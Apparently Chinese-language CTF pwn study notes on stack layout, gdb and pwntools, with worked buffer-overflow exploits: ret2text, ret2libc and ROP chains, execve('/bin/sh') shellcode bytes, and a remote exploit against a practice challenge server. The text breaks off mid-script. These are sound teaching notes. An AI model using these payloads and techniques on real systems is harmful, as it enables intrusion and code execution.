基础知识 程序内存布局 程序分为四部分
第一部分 ,写的代码程序,可以当作程序的开始空间 (内存低位)
第三部分 ,malloc 堆的空间 (heap 堆空间)
第四部分,shared libraries, 共享库文件
第二部分,函数调用过程中生成的 (Stack 栈空间)
kernal (内存高位)
和栈有关的两个寄存器: esp
: 栈顶指针寄存器 (内存低位)ebp
: 栈底指针寄存器 (内存高位)
验证: 运行 a.out
程序后可以输入命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 ❯ ps -a | grep a.out 4128 pts/1 00:00:00 a.out ❯ cat /proc/4128/maps 58c80bff9000-58c80bffa000 r--p 00000000 00:25 8 PATH 58c80bffa000-58c80bffb000 r-xp 00001000 00:25 8 PATH 58c80bffb000-58c80bffc000 r--p 00002000 00:25 8 PATH 58c80bffc000-58c80bffd000 r--p 00002000 00:25 8 PATH 58c80bffd000-58c80bffe000 rw-p 00003000 00:25 8 PATH 58c842c15000-58c842c36000 rw-p 00000000 00:00 0 [heap] 7d2e4e400000-7d2e4e428000 r--p 00000000 103:02 3030135 /usr/lib/x86_64-linux-gnu/libc.so.6 7d2e4e428000-7d2e4e5b0000 r-xp 00028000 103:02 3030135 /usr/lib/x86_64-linux-gnu/libc.so.6 7d2e4e5b0000-7d2e4e5ff000 r--p 001b0000 103:02 3030135 /usr/lib/x86_64-linux-gnu/libc.so.6 7d2e4e5ff000-7d2e4e603000 r--p 001fe000 103:02 3030135 /usr/lib/x86_64-linux-gnu/libc.so.6 7d2e4e603000-7d2e4e605000 rw-p 00202000 103:02 3030135 /usr/lib/x86_64-linux-gnu/libc.so.6 7d2e4e605000-7d2e4e612000 rw-p 00000000 00:00 0 7d2e4e6c9000-7d2e4e6cc000 rw-p 00000000 00:00 0 7d2e4e6df000-7d2e4e6e1000 rw-p 00000000 00:00 0 7d2e4e6e1000-7d2e4e6e5000 r--p 00000000 00:00 0 [vvar] 7d2e4e6e5000-7d2e4e6e7000 r-xp 00000000 00:00 0 [vdso] 7d2e4e6e7000-7d2e4e6e8000 r--p 00000000 103:02 3029947 /usr/.../ld-linux-x86-64.so.2 7d2e4e6e8000-7d2e4e713000 r-xp 00001000 103:02 3029947 /usr/.../ld-linux-x86-64.so.2 7d2e4e713000-7d2e4e71d000 r--p 0002c000 103:02 3029947 /usr/lib/.../ld-linux-x86-64.so.2 7d2e4e71d000-7d2e4e71f000 r--p 00036000 103:02 3029947 /usr/lib/.../ld-linux-x86-64.so.2 7d2e4e71f000-7d2e4e721000 rw-p 00038000 103:02 3029947 /usr/lib/.../ld-linux-x86-64.so.2 7ffe11122000-7ffe11143000 rw-p 00000000 00:00 0 [stack] ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0 [vsyscall]
这是程序的开始空间
1 2 3 4 5 58c80bff9000-58c80bffa000 r--p 00000000 00:25 8 PATH 58c80bffa000-58c80bffb000 r-xp 00001000 00:25 8 PATH 58c80bffb000-58c80bffc000 r--p 00002000 00:25 8 PATH 58c80bffc000-58c80bffd000 r--p 00002000 00:25 8 PATH 58c80bffd000-58c80bffe000 rw-p 00003000 00:25 8 PATH
heap 堆空间
1 58c842c15000-58c842c36000 rw-p 00000000 00:00 0 [heap]
共享库文件
1 2 3 4 5 7d2e4e400000-7d2e4e428000 r--p 00000000 103:02 3030135 /usr/lib/x86_64-linux-gnu/libc.so.6 7d2e4e428000-7d2e4e5b0000 r-xp 00028000 103:02 3030135 /usr/lib/x86_64-linux-gnu/libc.so.6 7d2e4e5b0000-7d2e4e5ff000 r--p 001b0000 103:02 3030135 /usr/lib/x86_64-linux-gnu/libc.so.6 7d2e4e5ff000-7d2e4e603000 r--p 001fe000 103:02 3030135 /usr/lib/x86_64-linux-gnu/libc.so.6 7d2e4e603000-7d2e4e605000 rw-p 00202000 103:02 3030135 /usr/lib/x86_64-linux-gnu/libc.so.6
stack 栈空间在内存最高地址向低地址生长
1 2 3 4 5 6 7d2e4e6e7000-7d2e4e6e8000 r--p 00000000 103:02 3029947 /usr/.../ld-linux-x86-64.so.2 7d2e4e6e8000-7d2e4e713000 r-xp 00001000 103:02 3029947 /usr/.../ld-linux-x86-64.so.2 7d2e4e713000-7d2e4e71d000 r--p 0002c000 103:02 3029947 /usr/lib/.../ld-linux-x86-64.so.2 7d2e4e71d000-7d2e4e71f000 r--p 00036000 103:02 3029947 /usr/lib/.../ld-linux-x86-64.so.2 7d2e4e71f000-7d2e4e721000 rw-p 00038000 103:02 3029947 /usr/lib/.../ld-linux-x86-64.so.2 7ffe11122000-7ffe11143000 rw-p 00000000 00:00 0 [stack]
调用函数stack变化 函数调用开始:
1 2 3 4 0x80491b1 <dofunc> push ebp 0x80491b2 <dofunc+1> mov ebp, esp 0x80491b4 <dofunc+3> push ebx 0x80491b5 <dofunc+4> sub esp, 0x14
call dofunc
= push eip, jmp &dofunc
(esp-4 , eip 下一步指向的地址 (返回地址) 存入栈中esp的位置, eip jump到 dofunc函数的内存地址)push ebp
= mov [esp-4], ebp
(esp-4 , ebp的值压入esp所在位置的栈中)mov ebp,esp
当前esp指针的值赋值给ebpsub esp,0xXX
减少esp的值,为局部变量分配栈空间
ebp
栈底指针为底,数据往低位存储
1 2 3 4 5 6 7 8 9 ────────────────────────────────────────[ STACK ]──────────────────────────────────── 00:0000│ esp 0xffffd1d0 ◂— 0xffffffff 01:0004│-014 0xffffd1d4 —▸ 0xf7d8396c ◂— 0x914 02:0008│-010 0xffffd1d8 —▸ 0xf7fc1400 —▸ 0xf7d72000 ◂— 0x464c457f 03:000c│-00c 0xffffd1dc ◂— 0 04:0010│-008 0xffffd1e0 ◂— 0 05:0014│-004 0xffffd1e4 —▸ 0xf7fa2e34 (_GLOBAL_OFFSET_TABLE_) ◂— 0x230d2c /* ',\r#' */ 06:0018│ ebp 0xffffd1e8 —▸ 0xffffd1f8 ◂— 0 07:001c│+004 0xffffd1ec —▸ 0x8049218 (main+21) ◂— mov eax, 0
函数调用结束: 调用leave 和 ret指令,代表调用结束,esp
回到ebp
的位置 , ebp
回到所指指针位置
1 2 ► 0x8049201 <dofunc+80> leave 0x8049202 <dofunc+81> ret <main+21>
leave
= mov esp,ebp; pop ebp
(esp回到ebp栈底的位置,弹出esp, 当前所在内存的值赋值给ebp, esp+4) (ESP所在位置为IDA中的s)ret
= pop eip
(弹出eip,赋值esp当前所在内存地址栈值给eip,esp+4) (ESP所在位置为IDA中的r)(如果栈内数据不被覆盖,那就不会消失)
stack情况:
1 2 3 4 5 6 7 00:0000│ esp 0xffffd1d0 ◂— 0xffffffff 01:0004│-014 0xffffd1d4 —▸ 0xf7d8396c ◂— 0x914 02:0008│ ecx 0xffffd1d8 ◂— 'aaa\n' 03:000c│-00c 0xffffd1dc ◂— 0 04:0010│-008 0xffffd1e0 ◂— 0 05:0014│-004 0xffffd1e4 —▸ 0xf7fa2e34 (_GLOBAL_OFFSET_TABLE_) ◂— 0x230d2c /* ',\r#' */ 06:0018│ ebp 0xffffd1e8 —▸ 0xffffd1f8 ◂— 0
变为:
1 2 3 4 00:0000│ esp 0xffffd1ec —▸ 0x8049218 (main+21) ◂— mov eax, 0 01:0004│-008 0xffffd1f0 ◂— 0 02:0008│-004 0xffffd1f4 ◂— 0 03:000c│ ebp 0xffffd1f8 ◂— 0
[+] [+] [+] [+] 堆栈平衡问题:可以尝试最终 payload,地址+1 或者 -1 ,或者先调用一次 ret 再执行 例题: buuctf - rip
,最终 payload 的 fun_addr 需要+1 ,或者调用两次
i386 ret2libc 的时候,比如 write 泄露地址, 溢出后调用 plt,后面需要先跟返回值 , 然后再跟栈中参数
1 2 payload = b'a' * padding + p32(write_plt) + p32(main_addr) + p32(1 ) + p32(write_got) + p32(4 ) + p32(main_addr) payload2 = b'a' * padding + p32(system_addr) + p32(main_addr) + p32(binsh_addr)
p32(printf_addr)
后面输出 flag 的缓冲区地址,中间要跟 p32(exit_addr)
(exit_addr 直接 function 搜索 exit 就行) #buuctf_not_the_same_3dsctf_2016
1 p32(printf_addr) + p32(exit_addr) + p32(flag_addr)
结尾无 leave 1 2 3 程序一开始就有 sub rsp, 88h 那么溢出栈的空间就是 b'a' * 0x88
GDB 动调基础
RIP
: 存放当前执行的指令地址
RSP
: 栈顶指针
RBP
: 栈底指针
RAX
: 通用寄存器
zf
: Zero Flag 寄存器 INTEL 指令集
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 set disassembly-flavor intel ``` #### Assembly 一般指令 ```assembly sub rsp, 0x18 ;rsp = [rsp-0x18] mov rax, rbp ;rax = rbp lea rax, [rbp-0x18] ;与上面的操作相同, lea可以当作运算指令, 运算结束后赋值给rax (优点:指令断,不用重新赋值rbp) xor ebx, ebx ;ebx = 0 / mov ebx, 0 call xxxx ;调用一个子程序 cmp al, 0x61 ;一般下面会跟je/jne,cmp就相当于sub指令,al-0x61,但是结果不保存,与下面的jne/je进行比较 (ax,bx = 3, cmp ax,bx) 3-3=0 ,zf寄存器为1;相反的如果cmp两个数相减不等于0,那zf就等于0 jne xxxxx ;zf标志位不为0则跳转 jn xxxx ;zf标志位为0时跳转 test eax, eax ;当作cmp eax,0使用 eax&eax,eax=0,->0 eax=!0,->!0 数据不存储 ``` #### gdb 一般操作 ``` run 直接运行程序 / start 开始调试程序 gdb会自动断到分析处的main函数处 (rip指向main) disassembly $rip 在rip处反汇编 b 设置断点 , b *0x00005555555527a d num 删除断点 disable b num 使断点失效 enable b num 重新启用断点 i b 查看设置的断点 i r 查看所有寄存器 c continue 执行到断点 ni 单步执行(步过) si 单步步入 finish 步出 p $rbp print x/10i $rip 以汇编的方式查看$rip内存地址开始的下10行 x/20b $rbp-0x10 ;b=byte x/20gx $rbpset *0x7fffffffd7c0=0x61 设置内存数据 set *((unsigned int)$ebp)=0x61 ``` **pwndbg, 分屏控制显示:**
set context-output /dev/pts/2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 #### pwntools库 一般操作 - 不推荐 ``` 本地建立socat socat TCP-LISTEN:8877,fork exec:./question_1_plus_x64,reuseaddr ``` ```python import socket from pwn import * import struct def pwn(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("127.0.0.1", 8877)) payload = b'P' * 8 + b'\x10' # ATTENTION BYTE s.sendall(payload + b'\n') conn = remote('127.0.0.1', 8877) conn.sock = s conn.interactive() if __name__ == "__main__": pwn()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *context.log_level = 'debug' conn = process('./a.out' ) Str_ = b'input:\n' payload = b'a' * 9 conn.sendafter(Str_,payload) conn.interactive()
其他命令
生成一个100长度的字符串,以查找溢出/比较的位置
1 2 ❯ cyclic 100 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
可以通过 cyclic -l xxxx
来判断长度(第一个字符开始)
1 2 ROPgadget --binary ./ciscn_2019_ne_5 --only "ret" ROPgadget --binary ./ciscn_2019_ne_5 --string "sh"
io.recv() 相关 io.recv() 接收 !!! 注意溢出后数据返回是否有 “\n” !!!
1 2 puts_addr = u32(io.recv(4 ))
1 2 3 4 5 6 puts_addr = u64(io.recv(6 ).ljust(8 , b'\x00' )) puts_addr = u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) leak = io.recvline().strip() puts_addr = u64(leak.ljust(8 , b'\x00' ))
io.recv() 接收特定字符串后地址
1 2 3 4 5 例: puts: 0x0000000 io.recvuntil("puts: " ) puts_addr = eval (io.recvuntil("\n" , drop=True )) print ("puts_addr:" ,hex (puts_addr))
io.recv() 接收特定符号内数据
1 2 3 io.recvuntil("What's this : [" ) v5_addr = eval (io.recvuntil(b"]" ,drop=True ))
ret2Libc 普通泄露流程
1 2 3 4 5 6 7 8 9 libc_base = write_addr - libc.sym["write" ] print ('libc_base:' ,hex (libc_base))system_addr = libc_base + libc.symbols["system" ] bin_sh_addr = libc_base + next (libc.search(b"/bin/sh" )) print ('system:' ,hex (system_addr))print ('bin_sh:' ,hex (bin_sh_addr))
泄露 got 地址? (?) 如果通过 printf 输出,需要 rdi -> format_s , rsi -> xxx@got 需要有一个 format_s ,也就是 %s
(字符串中带带有 %s
的都可以)
Python_LibcSearcher 基本用法 , 有题目提供的 libc 先用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from LibcSearcher import *libc = LibcSearcher('write' , write_addr) libc_base = write_addr - libc.dump('write' ) print ('libc_base:' ,hex (libc_base))system_addr = libc_base + libc.dump('system' ) binsh_addr = libc_base + libc.dump('str_bin_sh' ) print ('system:' ,hex (system_addr))print ('bin_sh:' ,hex (binsh_addr))
ret2syscall 基本系统调用号 64bit
32bit
基本绕过
涉及到 strlen 然后比较字符长度的,都可以用 \x00
截断绕过 #buuctf_ciscn_2019_en_2
1 payload = b'\x00' + b'a' * (padding - 1 )
while(data) 检测输入是否在指定字符串中, 通过 \x00
开头的汇编代码绕过检测 (详见CTFSHOW pwn66)
1 2 3 shellcode = asm(shellcraft.sh()) payload = b'\x00\xc0' + shellcode io.sendline(payload)
遇到 (unsigned int)a2 > 10
,输入 -1
即可到达 int 最大值,导致溢出 (-1 = 4294967295)
1 2 3 4 shellcode = "Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t" io.send(shellcode) io.interactive()
shellcode
1 2 3 4 5 6 7 8 9 10 shellcode = asm(shellcraft.sh(),arch='amd64' ) shellcode = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05' shellcode = "Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t" io.send(shellcode) io.interactive()
1 shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"
ISSUE 遇到无法执行的,可能是 libc 问题
1 patchelf --set-interpreter /lib/ld-linux.so.2 ./attachment-7
一般攻击向量 Canary + NX disable
No canary found + NX disabled
shellcode
shellcode + ret2reg
No canary found + NX enabled
ROPgadget –binary pwn73 –ropchain
ret2libc
ret2syscall
Full RELRO + PIE enabled
泄露一个 real_addr(利用 offset) 就可以 ret2libc
保护全开
ret2X 例题 基本 ret2text x86 ret2text就是执行程序中已有的代码,例如程序中写有system等系统的调用函数, 通过溢出覆盖返回地址执行 IDA打开文件 ,找到函数内栈空间
1 2 3 4 5 6 7 8 9 -00000010 buf dd ? -0000000C var_C dd ? -00000008 db ? ; undefined -00000007 db ? ; undefined -00000006 db ? ; undefined -00000005 db ? ; undefined -00000004 var_4 dd ? +00000000 s db 4 dup(?) +00000004 r db 4 dup(?)
判断buf 到 r(栈底指针) 处偏移为0x14 = 20byte,r往下四字节就是给ret的栈空间,可以利用溢出来赋值r覆盖 r
本身需要额外的 4 字节 20byte + 4byte = 24byte
1 payload = b'a' * 20 + b'&func'
pwntools 脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *context(log_level='debug' ,arch='i386' , os='linux' ) pwnfile= './question_4_1_x86' io = process(pwnfile) elf = ELF(pwnfile) rop = ROP(pwnfile) padding = 0x14 gdb.attach(io) pause() return_addr = 0x08049182 payload = flat([cyclic(padding), return_addr]) delimiter = 'input:' io.sendlineafter(delimiter, payload) io.interactive()
先ni,然后在pwntool shell中回车代表开始
1 2 3 4 5 6 ──────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────── ► 0 0xe9b2c579 __kernel_vsyscall+9 1 0xe99ed9d7 read+55 2 0x80491f6 dofunc+69 <- 这是我们要到达的地方 3 0x8049182 func 4 0xa None
gdb中finish(可以看右下角的 BACKTRACE)到main中的被调用的那个函数
1 2 3 4 ───────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────── ► 0 0x80491f6 dofunc+69 1 0x8049182 func 2 0xa None
然后可以用 stack 20
查看栈覆盖和溢出情况
1 2 3 4 5 6 06:0018│ ecx 0xfff272c8 ◂— 0x61616161 ('aaaa') 07:001c│-00c 0xfff272cc ◂— 0x61616162 ('baaa') 08:0020│-008 0xfff272d0 ◂— 0x61616163 ('caaa') 09:0024│-004 0xfff272d4 ◂— 0x61616164 ('daaa') 0a:0028│ ebp 0xfff272d8 ◂— 0x61616165 ('eaaa') 0b:002c│+004 0xfff272dc —▸ 0x8049182 (func) ◂— push ebp
esp寻址的 ret2text x86 和基本题型差不多,只是ret位置在IDA中显示错误而已 在输入函数前提前准备好cyclic
1 2 pwndbg> cyclic 50 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 00:0000│ esp 0xffffd160 ◂— 0 01:0004│-034 0xffffd164 —▸ 0xffffd178 ◂— 0x61616161 ('aaaa') 02:0008│-030 0xffffd168 ◂— 0x100 03:000c│-02c 0xffffd16c —▸ 0x80491b7 (dofunc+9) ◂— add ebx, 0x2e49 04:0010│-028 0xffffd170 ◂— 0xffffffff 05:0014│-024 0xffffd174 —▸ 0xf7d8396c ◂— 0x914 06:0018│ ecx 0xffffd178 ◂— 0x61616161 ('aaaa') 07:001c│-01c 0xffffd17c ◂— 0x61616162 ('baaa') 08:0020│-018 0xffffd180 ◂— 0x61616163 ('caaa') 09:0024│-014 0xffffd184 ◂— 0x61616164 ('daaa') 0a:0028│-010 0xffffd188 ◂— 0x61616165 ('eaaa') 0b:002c│-00c 0xffffd18c ◂— 0x61616166 ('faaa') 0c:0030│-008 0xffffd190 ◂— 0x61616167 ('gaaa') 0d:0034│-004 0xffffd194 ◂— 0x61616168 ('haaa') 0e:0038│ ebp 0xffffd198 ◂— 0x61616169 ('iaaa') 0f:003c│+004 0xffffd19c ◂— 0x6161616a ('jaaa') 10:0040│+008 0xffffd1a0 ◂— 0x6161616b ('kaaa') 11:0044│+00c 0xffffd1a4 ◂— 0x6161616c ('laaa')
可以看到ebp处为32byte,(其实是错误的,因为是esp寻址)
1 2 3 pwndbg> cyclic -l iaaa Finding cyclic pattern of 4 bytes: b'iaaa' (hex: 0x69616161) Found at offset 32
继续运行到ret: 可以看到esp处为 ‘faaa’, 断定栈空间到ret处为20byte, 后可溢出20byte + 4byte
1 2 3 4 5 6 7 8 9 10 11 12 13 14 ───────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────── 00:0000│ esp 0xffffd18c ◂— 0x61616166 ('faaa') 01:0004│-008 0xffffd190 ◂— 0x61616167 ('gaaa') 02:0008│-004 0xffffd194 ◂— 0x61616168 ('haaa') 03:000c│ ebp 0xffffd198 ◂— 0x61616169 ('iaaa') 04:0010│+004 0xffffd19c ◂— 0x6161616a ('jaaa') 05:0014│+008 0xffffd1a0 ◂— 0x6161616b ('kaaa') 06:0018│+00c 0xffffd1a4 ◂— 0x6161616c ('laaa') 07:001c│+010 0xffffd1a8 ◂— 0xff0a616d pwndbg> cyclic -l faaa Finding cyclic pattern of 4 bytes: b'faaa' (hex: 0x66616161) Found at offset 20
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *context(log_level='debug' ,arch='i386' , os='linux' ) pwnfile= './question_4_1_x86_sep' io = process(pwnfile) elf = ELF(pwnfile) rop = ROP(pwnfile) padding = 0x14 gdb.attach(io) pause() return_addr = 0x08049182 payload = flat([cyclic(padding), return_addr]) delimiter = 'input:' io.sendlineafter(delimiter, payload) io.interactive()
基本ret2text x64程序 1 2 3 4 5 6 7 8 ❯ checksec question_4_1_x64 [*] '/mnt/hgfs/CTF/Pwn_Study/pwn_exercise/section_2/第二章课件/chapter_2/test_6/question_4_1_x64' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
还是一样找溢出的地方
1 2 3 4 5 6 pwndbg> stack 30 00:0000│ rsp 0x7fffffffdfd0 ◂— 0 01:0008│ rsi 0x7fffffffdfd8 ◂— 0x6161616161616161 ('aaaaaaaa') 02:0010│ rbp 0x7fffffffdfe0 ◂— 0x6161616161616161 ('aaaaaaaa') 03:0018│+008 0x7fffffffdfe8 ◂— 0x6262626262626262 ('bbbbbbbb') ...
可以看到 03:0018│+008 0x7fffffffdfe8 ◂— 0x6262626262626262 ('bbbbbbbb')
就已经溢出了, (e8 - e0)
溢出
1 2 3 4 5 ─────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────── ► 0 0x401193 dofunc+50 1 0x6262626262626262 None 2 0x7fffffffe00a None
修改脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *context(log_level='debug' ,arch='amd64' , os='linux' ) pwnfile= './question_4_1_x64' io = process(pwnfile) elf = ELF(pwnfile) rop = ROP(pwnfile) padding = 0x10 gdb.attach(io) pause() return_addr = 0x401142 payload = flat([cyclic(padding), return_addr]) delimiter = 'input:' io.sendlineafter(delimiter, payload) io.interactive()
1 2 3 4 5 6 7 8 9 10 11 12 13 ───────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────── 00:0000│ rsp 0x7fff11b9a6a0 ◂— 0 01:0008│ rsi 0x7fff11b9a6a8 ◂— 0x6161616261616161 ('aaaabaaa') 02:0010│ rbp 0x7fff11b9a6b0 ◂— 0x6161616461616163 ('caaadaaa') 03:0018│+008 0x7fff11b9a6b8 —▸ 0x401142 (func) ◂— push rbp 04:0020│+010 0x7fff11b9a6c0 —▸ 0x7fff11b9a70a ◂— 0 05:0028│+018 0x7fff11b9a6c8 —▸ 0x790f4362a1ca (__libc_start_call_main+122) ◂— mov edi, eax 06:0030│+020 0x7fff11b9a6d0 —▸ 0x7fff11b9a710 ◂— 0 07:0038│+028 0x7fff11b9a6d8 —▸ 0x7fff11b9a7e8 —▸ 0x7fff11b9c4eb ◂— './question_4_1_x64' ─────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────── ► 0 0x401193 dofunc+50 1 0x401142 func 2 0x7fff11b9a70a None
可以看到已经成功溢出了
ret2text 传参 x86
需要了解一个知识,ret后跟的是要调用函数的地址(&func) , 随后+4栈内存跟的是被调用函数中(如果有)的参数 我们需要构造成:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 pwndbg> stack 20 00:0000│ esp 0xffffcdb0 ◂— 0 ESP 01:0004│-024 0xffffcdb4 —▸ 0xffffcdc8 ◂— 'aaaabbbb\n' 02:0008│-020 0xffffcdb8 ◂— 0x100 03:000c│-01c 0xffffcdbc —▸ 0x80491b9 (dofunc+12) ◂— add ebx, 0x2e47 04:0010│-018 0xffffcdc0 ◂— 0xffffffff 05:0014│-014 0xffffcdc4 —▸ 0xf7d8396c ◂— 0x914 06:0018│ ecx 0xffffcdc8 ◂— 'aaaabbbb\n' aaaa 07:001c│-00c 0xffffcdcc ◂— 'bbbb\n' bbbb 08:0020│-008 0xffffcdd0 ◂— 0xa /* '\n' */ 09:0024│-004 0xffffcdd4 —▸ 0xf7fa2e34 (_GLOBAL_OFFSET_TABLE_) ◂— 0x230d2c /* ',\r#' */ 0a:0028│ ebp 0xffffcdd8 —▸ 0xffffcde8 ◂— 0 0b:002c│+004 0xffffcddc —▸ 0x8049214 (main+21) ◂— mov eax, 0 ret后的调用地址 (&func) 0c:0030│+008 0xffffcde0 ◂— 0 执行完func后的返回地址 (很重要!) ... ↓ 2 skipped (如果有,可能)被调用的参数 (search "/bin/sh") (如果有,可能)被调用的第二个参数 ......
1 2 3 4 5 6 7 07:001c│-00c 0xffffcdcc ◂— 'aaaa\n' 08:0020│-008 0xffffcdd0 ◂— 0xa /* '\n' */ 09:0024│-004 0xffffcdd4 —▸ 0xf7fa2e34 (_GLOBAL_OFFSET_TABLE_) ◂— 0x230d2c /* ',\r#' */ 0a:0028│ ebp 0xffffcdd8 —▸ 0xffffcde8 ◂— 0 0b:002c│+004 0xffffcddc —▸ 0x8049182 (func) ◂— push ebp (&func) 0c:0030│+008 0xffffcde0 ◂— 0xdeadbeef (随便一个return值) 0d:0034│+00c 0xffffcde4 —▸ 0x804c024 (sh) ◂— '/bin/sh' (search "/bin/sh" 的内存地址)
要用脚本完成就是:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import *context(log_level='debug' ,arch='i386' , os='linux' ) pwnfile= './question_4_2_x86_new' io = process(pwnfile) elf = ELF(pwnfile) rop = ROP(pwnfile) padding = 0x14 gdb.attach(io) pause() return_addr = elf.symbols['func' ] bin_sh_addr = 0x804c018 payload = b'a' * padding + p32(return_addr) + p32(0xdeadbeef ) + p32(bin_sh_addr) delimiter = 'input:' io.sendlineafter(delimiter, payload) io.interactive()
buuctf 例题 : gets 函数溢出,-> main 函数正常退出(exit 地址) -> get_flag_addr -> argc1 -> argc2 https://buuoj.cn/challenges#get_started_3dsctf_2016 payload:
1 2 3 4 5 6 7 8 9 10 11 from pwn import *io = remote('node5.buuoj.cn' , 27102 ) exit_addr = 0x804E6A0 get_flag_addr = 0x80489A0 payload = b'a' * 56 + p32(get_flag_addr) + p32(exit_addr) + p32(0x308CD64F ) + p32(0x195719D1 ) io.sendline(payload) io.interactive()
ret2text 传参 x64 x86-64架构寄存器, 传参过程会调用 rdi, rsi, rdc, rcx, r8, r9....
等寄存器,分别为第一个参数,第二个参数…..
1 2 3 4 RDI 0x404040 (sh) ◂— 0x68732f6e69622f /* '/bin/sh' */ (设置RDI寄存器为/bin/sh的内存地址) ► 0x401155 <func+19> call system@plt <system@plt> command: 0x404040 (sh) ◂— 0x68732f6e69622f /* '/bin/sh' */ (可以看到已经成功传参了)
如果要用pwn脚本打,需要理解一些东西: ROP (Return-Oriented Programming) :
通过组合程序中已有的代码片段(gadgets
)来构造恶意逻辑
每个 gadget
通常以 ret
指令结尾,用于链接多个片段形成攻击链
1 ROPgadget --binary question_4_2_x64_new
之前是通过dbg中的set命令设置的,但是在脚本中,我们要用ROP来构造,所以要改为:
1 2 3 4 1 栈溢出 2 pop rdi; ret (赋值/bin/sh 给 rdi寄存器) 3 bin_sh_addr 4 func_address (此时rdi已经被赋值为了/bin/sh的内存地址,直接调用func函数,rdi会被当作第一个参数传入func函数, getshell)
找 pop rdi; ret
:
1 0x000000000040120b : pop rdi ; ret
编写脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *context(log_level='debug' ,arch='amd64' , os='linux' ) pwnfile= './question_4_2_x64' io = process(pwnfile) elf = ELF(pwnfile) rop = ROP(pwnfile) padding = 0x10 gdb.attach(io) pause() return_addr = elf.symbols['func' ] pop_rdi_ret = 0x40120b bin_sh_addr = 0x404040 payload = b'a' * padding + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(return_addr) delimiter = 'input:' io.sendlineafter(delimiter, payload) io.interactive()
ret2libc x64 如果比赛 libc 环境了,直接用 libc 的环境即可 (通过寄存器传参: rsi rdi rdx rcx r8 r9 …) 在程序内没有system函数的时候 , 只能通过去libc共享库连接文件中去调用 ,怎么知道system的地址呢?泄露程序中已经有调用的函数地址 , 通过 真实地址 = 基地址 + 偏移地址
的方式计算出system , binsh的地址 , 然后再去布置栈帧,控制执行流system(“/bin/sh”),这就是ret2libc
1 2 3 4 5 6 7 1.首先寻找一个函数的真实地址,以puts为例。构造合理的payload1,劫持程序的执行流程,使得程序执行puts(puts@got)打印得到puts函数的真实地址,并重新回到main函数开始的位置。 2.找到puts函数的真实地址后,根据其最后三位,可以判断出libc库的版本(本文忽略)。 3.根据libc库的版本可以很容易的确定puts函数的偏移地址。 4.计算基地址。基地址 = puts函数的真实地址 - puts函数的偏移地址。 5.根据libc函数的版本,很容易确定system函数和"/bin/sh"字符串在libc库中的偏移地址。 6.根据 真实地址 = 基地址 + 偏移地址 计算出system函数和"/bin/sh"字符串的真实地址。 7.再次构造合理的payload2,劫持程序的执行流程,劫持到system("/bin/sh")的真实地址,从而拿到shell。
基地址 = 真实地址 - 偏移地址
0x01 获取基地址, 并求出需要用的函数的地址
rdi , rsi , r15(没用的) 赋值并ret
p64(1)
为标准输出, rsi
传入 write@got
(要泄漏的地址) , r15
用垃圾值 0xdeadbeef
填充
再调用 p64(write_symbols)
输出, 即可获得实际地址:
基地址 = 真实地址 - 偏移地址
= libc_base = write_addr - libc.sym["write"]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 from pwn import *context(log_level='debug' ,arch='amd64' , os='linux' ) pwnfile= './question_5_x64' io = process(pwnfile) elf = ELF(pwnfile) rop = ROP(pwnfile) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) padding = 0x10 gdb.attach(io) pause() leak_write_got = 0x404018 write_symbols = elf.symbols['write' ] return_addr = elf.symbols['dofunc' ] pop_rdi_ret = 0x4011fb pop_rsi_r15_ret = 0x4011f9 payload = b'a' * padding + p64(pop_rdi_ret) + p64(1 ) + p64(pop_rsi_r15_ret) + p64(leak_write_got) + p64(0xdeadbeef ) payload += p64(write_symbols) delimiter = 'input:' io.sendlineafter(delimiter, payload) io.recvuntil("byebye" ) write_addr = 